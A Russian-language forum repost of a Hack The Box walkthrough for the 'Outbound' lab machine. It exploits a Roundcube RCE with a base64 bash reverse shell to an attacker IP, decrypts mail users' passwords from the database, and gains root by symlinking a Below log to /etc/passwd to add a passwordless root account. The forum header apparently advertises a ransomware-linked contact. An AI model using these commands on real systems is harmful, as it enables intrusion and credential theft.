• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем Roundcube и получаем учетные данные

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,440
Розыгрыши
0
Реакции
792
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этот раз используем недавнюю RCE в почтовом клиенте Roundcube, после чего получаем доступ к базе данных и расшифровываем учетные данные пользователей. При повышении привилегий эксплуатируем уязвимость в утилите Below.
Наша цель — получение прав суперпользователя на машине Outbound с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.77 outbound.htb
На этот раз, помимо IP-адреса машины, нам также предоставляют и учетные данные пользователя.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 9.6p1;
  • 80 — веб‑сервер Nginx 1.24.0.
На SSH мы без учетных данных ничего не сделаем, поэтому сразу взглянем, что нам выдаст веб‑сервер. При переходе по адресу в браузере произойдет редирект на домен mail.outbound.htb.

Для просмотра ссылки Войди или Зарегистрируйся
Добавим новый поддомен в файл /etc/hosts и обновим страницу. Нас встречает страница авторизации Roundcube.

10.10.11.77 outbound.htb mail.outbound.htb
Для просмотра ссылки Войди или Зарегистрируйся

Точка входа​

Авторизуемся с выданными учетными данными и первым делом проверяем версию почтового клиента. Как показывает окно About, на сервере используется Roundcube Webmail 1.6.10.

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Для начала можно просто поискать их в Google.

Для просмотра ссылки Войди или Зарегистрируйся
Как видно по первым ссылкам, версия 1.6.10 содержит уязвимость Для просмотра ссылки Войди или Зарегистрируйся, которая позволяет аутентифицированным пользователям добиться удаленного выполнения кода через десериализацию объектов в PHP, поскольку в program/actions/settings/upload.php нет проверки значения _from из URL.

Воспользуемся этим Для просмотра ссылки Войди или Зарегистрируйся, но сперва на Для просмотра ссылки Войди или Зарегистрируйся сгенерируем реверс‑шелл в формате Bash (Base64).

Для просмотра ссылки Войди или Зарегистрируйся
Затем запускаем листенер pwncat-cs -lp 4321 и выполняем эксплоит, которому передаем сгенерированный реверс‑шелл. В результате получаем сессию от имени пользователя службы веб‑сервера www-data.

php ./CVE-2025-49113.php Для просмотра ссылки Войди или Зарегистрируйся tyler LhKL1o9Nm3X2 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42NC80MzIxIDA+JjE= | base64 -d | bash'
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Чтобы изменить контекст работы, нужно поискать учетные данные. Раз на хосте есть почтовый сервер, первым делом попробуем достать логины и пароли пользователей. Есть хороший шанс, что они подойдут и для локальных учетных записей. В случае с Roundcube начни с файла config/config.inc.php: в нем лежат данные для подключения к базе (db_dsnw), а также ключ шифрования паролей пользователей (des_key).

Для просмотра ссылки Войди или Зарегистрируйся
Подключаемся к СУБД MySQL и запрашиваем список баз данных.

mysql -u roundcube -pRCDBPass2025
show databases;
Для просмотра ссылки Войди или Зарегистрируйся
Нас интересует база данных roundcube, поэтому сначала получим список таблиц из нее.

use roundcube;
show tables;
Для просмотра ссылки Войди или Зарегистрируйся
Теперь получаем все данные из таблицы users.

select * from session;
Для просмотра ссылки Войди или Зарегистрируйся
Декодируем данные из Base64 и извлекаем значение password. Это и есть зашифрованный пароль пользователя jacob.

Для просмотра ссылки Войди или Зарегистрируйся
В исходном коде Roundcube можно найти функцию Для просмотра ссылки Войди или Зарегистрируйся.

/**
* Decrypt a string
*
* @param string $cipher Encrypted text
* @param string $key Encryption key to retrieve from the configuration, defaults to 'des_key'
* @param bool $base64 Whether or not input is base64-encoded
*
* @Return string|false Decrypted text, false on error
*/
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
// @phpstan-ignore-next-line
if (!is_string($cipher) || !strlen($cipher)) {
return false;
}

if ($base64) {
$cipher = base64_decode($cipher, true);
if ($cipher === false) {
return false;
}
}

$ckey = $this->config->get_crypto_key($key);
$method = $this->config->get_crypto_method();
$iv_size = openssl_cipher_iv_length($method);
$tag = null;

if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
$tag = $matches[1];
$cipher = substr($cipher, strlen($matches[0]));
}

$iv = substr($cipher, 0, $iv_size);

// session corruption? (#1485970)
if (strlen($iv) < $iv_size) {
return false;
}

$cipher = substr($cipher, $iv_size);
$clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);

return $clear;
}
Метод Для просмотра ссылки Войди или Зарегистрируйся возвращает алгоритм, который используется для шифрования.

public function get_crypto_method()
{
return $this->get('cipher_method') ?: 'DES-EDE3-CBC';
}
Значит, нам сперва нужно декодировать строку Base64 в Hex. Для этого можно использовать сайт Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
Полученные данные разделим на шифротекст и вектор инициализации (8 байт), затем расшифруем 3DES-CBC ключом из конфига. Так получаем пароль пользователя jacob.

Для просмотра ссылки Войди или Зарегистрируйся
С этими учетными данными авторизуемся в почте пользователя и изучаем сообщения. В одном письме находим пароль системной учетной записи, а из другого узнаём, что на сервере мониторят ресурсы с помощью Below и у пользователя есть доступ к логам.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
С найденным паролем авторизуемся по SSH и забираем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Теперь нужно собрать информацию и узнать, как продвигаться дальше. Я, как обычно, буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много всего, но из важного для нас — только настройки sudoers.

Для просмотра ссылки Войди или Зарегистрируйся

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Запись в sudo разрешает нам запускать утилиту Below (интерактивный монитор системных ресурсов) от имени пользователя root. Первым делом я решил проверить, есть ли для нее какие‑нибудь эксплоиты.

Для просмотра ссылки Войди или Зарегистрируйся
В Below есть недавняя уязвимость — Для просмотра ссылки Войди или Зарегистрируйся. Подвержены версии до 0.9.0, а баг заключается в том, что сервис запускается с правами root и создает каталог /var/log/below с правами 0777 (доступен на запись всем пользователям). Злоумышленник с локальным доступом может подменить файл в этом каталоге (например, через символическую ссылку) и тем самым добиться записи данных в любой файл, что приводит к эскалации привилегий до root.

В Для просмотра ссылки Войди или Зарегистрируйся говорится, что нам нужно удалить лог в директории /var/log/below/, а затем вместо файла лога создать ссылку на файл /etc/passwd. Это позволит командой below snapshot выполнить запись в этот файл. Добавив строку pwn::0:0:root:/root:/bin/bash, мы сможем авторизоваться как pwn с пустым паролем, но с привилегиями root.

echo 'pwn::0:0:root:/root:/bin/bash' >> passwd2
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below snapshot --begin now
cp passwd2 /var/log/below/error_root.log
su pwn
Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу